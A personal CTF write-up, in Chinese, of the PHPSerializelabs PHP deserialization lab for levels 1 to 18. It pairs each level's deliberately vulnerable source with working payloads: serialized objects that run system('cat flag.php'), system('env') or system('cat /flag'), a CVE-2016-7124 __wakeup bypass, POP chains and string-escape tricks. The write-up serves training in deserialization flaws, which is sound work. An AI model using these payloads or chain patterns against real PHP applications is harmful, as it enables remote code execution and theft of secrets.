Writeup of PHPSerializelabs 反序列化靶场PHPSerializelabs的个人Wp
Level 1: 类的实例化 <?php class FLAG { public $flag_string = "HelloCTF{????}" ; function __construct ( ) { echo $this ->flag_string; } } $code = $_POST ['code' ];eval ($code );
实例化测试,我们传入的参数会作为php代码执行,POST传入code=$a=new FLAG;获取flag
这里有__construct()方法,我们传入的指令实例化时会自动打印属性$flag_string值
Level 2: 对象中值的传递 <?php error_reporting (0 ); $flag_string = "HelloCTF{????}" ; class FLAG { public $free_flag = "???" ; function get_free_flag ( ) { echo $this ->free_flag; } } $target = new FLAG ();$code = $_POST ['code' ];if (isset ($code )){ eval ($code ); $target ->get_free_flag (); } else { highlight_file ('source' ); }
我们尝试将$flag_string的值传递到$free_flag中,$free_flag是公共属性,可以直接复赋值,题目会调用get_free_flag方法打印$target->free_flag的值
传递code=$target->free_flag=$flag_string;获得flag
Level 3: 对象中值的权限 <?php class FLAG { public $public_flag = "HelloCTF{?" ; protected $protected_flag = "?" ; private $private_flag = "?}" ; function get_protected_flag ( ) { return $this ->protected_flag; } function get_private_flag ( ) { return $this ->private_flag; } } class SubFLAG extends FLAG { function show_protected_flag ( ) { return $this ->protected_flag; } function show_private_flag ( ) { return $this ->private_flag; } } $target = new FLAG ();$sub_target = new SubFLAG ();$code = $_POST ['code' ];if (isset ($code )){ eval ($code ); } else { highlight_file (__FILE__ ); echo "Trying to get FLAG...<br>" ; echo "Public Flag: " .$target ->public_flag."<br>" ; echo "Protected Flag:" .$target ->protected_flag ."<br>" ; echo "Private Flag:" .$target ->private_flag ."<br>" ; }
考察对象属性的权限,不能直接将protected和private的属性直接echo出来,思路是需要利用类内的方法返回出来,传递:
code=echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();
我们也可以用sub_target类中的show_protected_flag()方法获得$protected_flag,但是不能类似地获得$private_flag,因为private修饰的属性甚至不能在子类中访问
Level 4: 序列化初体验 <?php class FLAG3 { private $flag3_object_array = array ("?" ,"?" ); } class FLAG { private $flag1_string = "?" ; private $flag2_number = '?' ; private $flag3_object ; function __construct ( ) { $this ->flag3_object = new FLAG3 (); } } $flag_is_here = new FLAG ();$code = $_POST ['code' ];if (isset ($code )){ eval ($code ); } else { highlight_file (__FILE__ ); }
序列化会将类的所有属性(包括修饰属性)序列化,直接传递code=echo serialize($flag_is_here);获得flag,想要更清晰地看出flag格式可以用一些直接打印对象的函数
能够清晰地打印出对象的函数:
var_dump()、print_r()、var_export()
Level 5: 序列化的普通值规则 <?php class a_class { public $a_value = "HelloCTF" ; } $a_object = new a_class ();$a_array = array (a=>"Hello" ,b=>"CTF" );$a_string = "HelloCTF" ;$a_number = 678470 ;$a_boolean = true ;$a_null = null ;See How to serialize: a_object: O:7 :"a_class" :1 :{s:7 :"a_value" ;s:8 :"HelloCTF" ;} a_array: a:2 :{s:1 :"a" ;s:5 :"Hello" ;s:1 :"b" ;s:3 :"CTF" ;} a_string: s:8 :"HelloCTF" ; a_number: i:678470 ; a_boolean: b:1 ; a_null: N; Now your turn! <?php $your_object = unserialize ($_POST ['o' ]);$your_array = unserialize ($_POST ['a' ]);$your_string = unserialize ($_POST ['s' ]);$your_number = unserialize ($_POST ['i' ]);$your_boolean = unserialize ($_POST ['b' ]);$your_NULL = unserialize ($_POST ['n' ]);if ( $your_boolean && $your_NULL == null && $your_string == "IWANT" && $your_number == 1 && $your_object ->a_value == "FLAG" && $your_array ['a' ] == "Plz" && $your_array ['b' ] == "Give_M3" ){ echo $flag ; } else { echo "You really know how to serialize?" ; }
只要将符合题目条件的参数进行序列化后传递,就可以获得flag,构造参数
<?php class a_class { public $a_value = "HelloCTF" ; } $your_object = new a_class ();$your_object ->a_value = "FLAG" ;$your_array = array ('a' =>"Plz" ,'b' =>"Give_M3" );$your_string = "IWANT" ;$your_number = 1 ;$your_boolean = true ;$your_NULL = null ;echo "o=" .serialize ($your_object )."&a=" .serialize ($your_array )."&s=" .serialize ($your_string )."&i=" .serialize ($your_number )."&b=" .serialize ($your_boolean )."&n=" .serialize ($your_NULL )."\n" ;
传递o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}&
a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}&
s=s:5:"IWANT";&i=i:1;&
b=b:1;&
n=N;获得flag
Level 6: 序列化的权限修饰规则 <?php class protectedKEY { protected $protected_key ; function get_key ( ) { return $this ->protected_key; } } class privateKEY { private $private_key ; function get_key ( ) { return $this ->private_key; } } See Carfully~ protected 's serialize: O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3BN%3B%7D private' s serialize: O%3 A10%3 A%22 privateKEY%22 %3 A1%3 A%7 Bs%3 A23%3 A%22 %00 privateKEY%00 private_key%22 %3 BN%3 B%7 D<?php $protected_key = unserialize ($_POST ['protected_key' ]);$private_key = unserialize ($_POST ['private_key' ]);if (isset ($protected_key )&&isset ($private_key )){ if ($protected_key ->get_key () == "protected_key" && $private_key ->get_key () == "private_key" ){ echo $flag ; } else { echo "We Call it %00_Contr0l_Characters_NULL!" ; } } else { highlight_file (__FILE__ ); }
我们要让$protected_key->get_key()的值为"protected_key",$private_key->get_key()的值为"private_key"
构造参数
<?php class protectedKEY { protected $protected_key ="protected_key" ; function get_key ( ) { return $this ->protected_key; } } class privateKEY { private $private_key ="private_key" ; function get_key ( ) { return $this ->private_key; } } $a =new protectedKEY ();$b =new privateKEY ();echo "protected_key=" .urlencode (serialize ($a ))."\n" ;echo "&private_key=" .urlencode (serialize ($b ))."\n" ;
url编码的作用是成功传入空字符,获得playload,传递后获得flag
protected_key=O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3Bs%3A13%3A%22protected_key%22%3B%7D&private_key=O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3Bs%3A11%3A%22private_key%22%3B%7D
Level 7: 实例化和反序列化 <?php class FLAG { public $flag_command = "echo 'Hello CTF!<br>';" ; function backdoor ( ) { eval ($this ->flag_command); } } $unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo ' Hello World!<br>';";}' ;$Instantiate_object = new FLAG (); $Unserialize_object = unserialize ($unserialize_string ); $Instantiate_object ->backdoor ();$Unserialize_object ->backdoor ();'$Instantiate_object->backdoor()' will output:Hello CTF!'$Unserialize_object->backdoor()' will output:Hello World!<?php unserialize ($_POST ['o' ])->backdoor ();
简单的序列化执行命令,将$flag_command的值修改为"system('cat flag.php');"序列化传入后即可读取flag,构造playload
o=O:4:"FLAG":1:{s:12:"flag_command";s:23:"system('cat flag.php');";}
(特性)Level 8: 构造函数和析构函数以及GC机制 <?php global $destruct_flag ;global $construct_flag ;$destruct_flag = 0 ;$construct_flag = 0 ;class FLAG { public $class_name ; public function __construct ($class_name ) { $this ->class_name = $class_name ; global $construct_flag ; $construct_flag ++; echo "Constructor called " . $construct_flag . "<br>" ; } public function __destruct ( ) { global $destruct_flag ; $destruct_flag ++; echo "Destructor called " . $destruct_flag . "<br>" ; } } $demo = new FLAG ('demo' ); $s = serialize ($demo );$n = unserialize ($s ); unset ($n );unset ($demo );new FLAG ();Object created:Constructor called 1 Object serialized: But Nothing Happen (: Object unserialized :But nothing happened either): serialized Object destroyed:Destructor called 1 original Object destroyed:Destructor called 2 This object ('new FLAG();' ) will be destroyed immediately because it is not assigned to any variable:Constructor called 2 Destructor called 3 Now Your Turn!, Try to get the flag! <?php class RELFLAG { public function __construct ( ) { global $flag ; $flag = 0 ; $flag ++; echo "Constructor called " . $flag . "<br>" ; } public function __destruct ( ) { global $flag ; $flag ++; echo "Destructor called " . $flag . "<br>" ; } } function check ( ) { global $flag ; if ($flag > 5 ){ echo "HelloCTF{???}" ; }else { echo "Check Detected flag is " . $flag ; } } if (isset ($_POST ['code' ])) { eval ($_POST ['code' ]); check (); }
思路很多,一一列举
1.利用嵌套序列化/反序列化,符合出题人意图,playload code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));
serialize()、unserialize()这里重复调用产生了多个对象,但是并没有调用__construct()和__destruct()方法,使$flag数值增加的原因是GC机制
2.直接调用__destruct()方法,playload code=$a=new RELFLAG;$a->__destruct();$a->__destruct();$a->__destruct();$a->__destruct();$a->__destruct();
3.直接给$flag复制为6,playload code=$flag=6;
Level 9: 构造函数的后门 <?php class FLAG { var $flag_command = "echo 'HelloCTF';" ; public function __destruct ( ) { eval ($this ->flag_command); } } unserialize ($_POST ['o' ]);
__destruct()会自动调用,修改命令即可,windows搭建的靶场拿不到flag,这里用同源的在线靶场
<?php class FLAG { var $flag_command = "system('env');" ; public function __destruct ( ) { eval ($this ->flag_command); } } echo serialize (new FLAG ());
输出playload:o=O:4:"FLAG":1:{s:12:"flag_command";s:14:"system('env');";}
Level 10: __wakeup() <?php error_reporting (0 );class FLAG { function __wakeup ( ) { include 'flag.php' ; echo $flag ; } } if (isset ($_POST ['o' ])){ unserialize ($_POST ['o' ]); }else { highlight_file (__FILE__ ); }
<?php class FLAG { function __wakeup ( ) { include 'flag.php' ; echo $flag ; } } echo serialize (new FLAG ());
随便实例化一个对象序列化传上去就行o=O:4:"FLAG":0:{}
(特性)Level 11: __wakeup() CVE-2016-7124 <?php error_reporting (0 );include 'flag.php' ;class FLAG { public $flag = "FAKEFLAG" ; public function __wakeup ( ) { global $flag ; $flag = NULL ; } public function __destruct ( ) { global $flag ; if ($flag !== NULL ) { echo $flag ; }else { echo "sorry,flag is gone!" ; } } } if (isset ($_POST ['o' ])){ unserialize ($_POST ['o' ]); }else { highlight_file (__FILE__ ); phpinfo (); }
需要掠过__wakeup()方法的调用,结合hint,对象属性的值大于真实属性值时便会跳过wakeup的执行,先构造序列化
<?php class FLAG { public $flag = "FAKEFLAG" ; public function __wakeup ( ) { global $flag ; $flag = NULL ; } public function __destruct ( ) { global $flag ; if ($flag !== NULL ) { echo $flag ; }else { echo "sorry,flag is gone!" ; } } } $flag = new FLAG ();echo serialize ($flag );
得出的序列化字符串:O:4:"FLAG":1:{s:4:"flag";s:8:"FAKEFLAG";}
修改属性数值得到新字符串O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}传递即可
Level 12: __sleep() <?php class FLAG { private $f ; private $l ; protected $a ; public $g ; public $x ,$y ,$z ; public function __sleep ( ) { return ['x' ,'y' ,'z' ]; } } class CHALLENGE extends FLAG { public $h ,$e ,$l ,$I ,$o ,$c ,$t ,$f ; function chance ( ) { return $_GET ['chance' ]; } public function __sleep ( ) { $array_list = ['h' ,'e' ,'l' ,'I' ,'o' ,'c' ,'t' ,'f' ,'f' ,'l' ,'a' ,'g' ]; $_ =array_rand ($array_list );$__ =array_rand ($array_list ); return array ($array_list [$_ ],$array_list [$__ ],$this ->chance ()); } } $FLAG = new FLAG ();echo serialize ($FLAG );echo serialize (new CHALLENGE ());
array_rand($array_list)函数:从$array_list中随机抽取一个元素
结合hint,利用chance依次传递参数'h','e','l','I','o','c','t','f','%00FLAG%00f','%00FLAG%00l','a','g'组合拼接得到flag,由于后面的两个'f','l'是父类里面的私有属性,需要返回需要使用序列化中的特殊格式 ,就比如%00FLAG%00f
Level 13: __toString() <?php class FLAG { function __toString ( ) { echo "I'm a string ~~~" ; include 'flag.php' ; return $flag ; } } $obj = new FLAG ();if (isset ($_POST ['o' ])) { eval ($_POST ['o' ]); } else { highlight_file (__FILE__ ); }
尝试以字符串调用$obj即可利用__toString()返回flag
传递o=echo $obj;即可
Level 14: __invoke() <?php class FLAG { function __invoke ($x ) { if ($x == 'get_flag' ) { include 'flag.php' ; echo $flag ; } } } $obj = new FLAG ();if (isset ($_POST ['o' ])) { eval ($_POST ['o' ]); } else { highlight_file (__FILE__ ); }
尝试以函数调用$obj即可利用__invoke()返回flag
传递o=$boj('get_flag');即可
Level 15: POP链前置 <?php class A { public $a ; public function __construct ($a ) { $this ->a = $a ; } } class B { public $b ; public function __construct ($b ) { $this ->b = $b ; } } class C { public $c ; public function __construct ($c ) { $this ->c = $c ; } } class D { public $d ; public function __construct ($d ) { $this ->d = $d ; } public function __wakeUp ( ) { $this ->d->action (); } } class destnation { var $cmd ; public function __construct ($cmd ) { $this ->cmd = $cmd ; } public function action ( ) { eval ($this ->cmd->a->b->c); } } if (isset ($_POST ['o' ])) { unserialize ($_POST ['o' ]); } else { highlight_file (__FILE__ ); }
是个套娃,目的是让$this->cmd->a->b->c的值为要执行的任意命令,为了调用action(),还需要套一层D类
构造链
$load =new D ();$load ->d=new destnation ();$load ->d->cmd=new A ();$load ->d->cmd->a=new B ();$load ->d->cmd->a->b=new C ();$load ->d->cmd->a->b->c="system('cat /flag');" ;echo serialize ($load );
O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:20:"system('cat /flag');";}}}}}
传入即可
Level 16: POP链构造 <?php class A { public $a ; public function __invoke ( ) { include $this ->a; return $flag ; } } class B { public $b ; public function __toString ( ) { $f = $this ->b; return $f (); } } class INIT { public $name ; public function __wakeUp ( ) { echo $this ->name.' is awake!' ; } } if (isset ($_POST ['o' ])) { unserialize ($_POST ['o' ]); } else { highlight_file (__FILE__ ); }
不难发现利用顺序是__wakeUp()->__toString->__invoke(),最后需要包含flag.php
构造链
$new =new INIT;$new ->name=new B;$new ->name->b=new A;$new ->name->b->a="flag.php" ;echo serialize ($new );
O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:8:"flag.php";}}},传入即可
(特性)Level 17: 字符串逃逸基础-无中生有 <?php class A {} echo "Class A is NULL: '" .serialize (new A ())."'<br>" ;class B { public $a = "Hello" ; protected $b = "CTF" ; private $c = "FLAG{TEST}" ; } echo "Class B is a class with 3 properties: '" .serialize (new B ())."'<br>" ;$serliseString = serialize (new B ());$serliseString = str_replace ('B' , 'A' , $serliseString );echo "After replace B with A,we unserialize it and dump :<br>" ;var_dump (unserialize ($serliseString ));if (isset ($_POST ['o' ])) { $a = unserialize ($_POST ['o' ]); if ($a instanceof A && $a ->helloctfcmd == "get_flag" ) { include 'flag.php' ; echo $flag ; } else { echo "what's rule?" ; } } else { highlight_file (__FILE__ ); } Class A is NULL : 'O:1:"A":0:{}' Class B is a class with 3 properties : 'O :1:"B ":3: {s:1 :"a" ;s:5 :"Hello" ;s:4 :"*b" ;s:3 :"CTF" ;s:4 :"Bc" ;s:10 :"FLAG{TEST}" ;}' After replace B with A,we unserialize it and dump : object(A)#1 (3) { ["a"]=> string(5) "Hello" ["b":protected]=> string(3) "CTF" ["c":"A":private]=> string(10) "FLAG{TEST}" }
由hint,当成员属性的实际数量符合序列化字符串中对应属性值时,不会做任何检查
更改B的属性后将名称替换为A即可
class B { public $a = "Hello" ; protected $b = "CTF" ; private $c = "FLAG{TEST}" ; public $helloctfcmd ="get_flag" ; } echo serialize (new B ());
得到O:1:"B":4:{s:1:"a";s:5:"Hello";s:4:" * b";s:3:"CTF";s:4:" B c";s:10:"FLAG{TEST}";s:11:"helloctfcmd";s:8:"get_flag";}
修改传递o=O:1:"A":4:{s:1:"a";s:5:"Hello";s:4:" * b";s:3:"CTF";s:4:" B c";s:10:"FLAG{TEST}";s:11:"helloctfcmd";s:8:"get_flag";}即可
(特性)Level 18: 字符串逃逸基础-尾部判定 <?php highlight_file (__FILE__ );class Demo { public $a = "Hello" ; public $b = "CTF" ; public $key = 'GET_FLAG";}FAKE_FLAG' ; } class FLAG {} $serliseStringDemo = serialize (new Demo ());$target = $_GET ['target' ];$change = $_GET ['change' ];$serliseStringFLAG = str_replace ($target , $change , $serliseStringDemo );$FLAG = unserialize ($serliseStringFLAG );if ($FLAG instanceof FLAG && $FLAG ->key == 'GET_FLAG' ) { echo $flag ; } SerliseStringDemo:'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}' Change SOMETHING TO GET FLAGYour serliaze string is O:4 :"Demo" :3 :{s:1 :"a" ;s:5 :"Hello" ;s:1 :"b" ;s:3 :"CTF" ;s:3 :"key" ;s:20 :"GET_FLAG" ;}FAKE_FLAG";} And Here is object(Demo)#1 (3) { [" a"]=> string(5) " Hello" [" b"]=> string(3) " CTF" [" key"]=> string(20) " GET_FLAG";}FAKE_FLAG" }
利用这个特性进行截断,只需要把对象名"Demo"替换为"FLAG",字符数20替换为8即可
传递target=O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}
&change=O:4:"FLAG":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:8:"GET_FLAG";}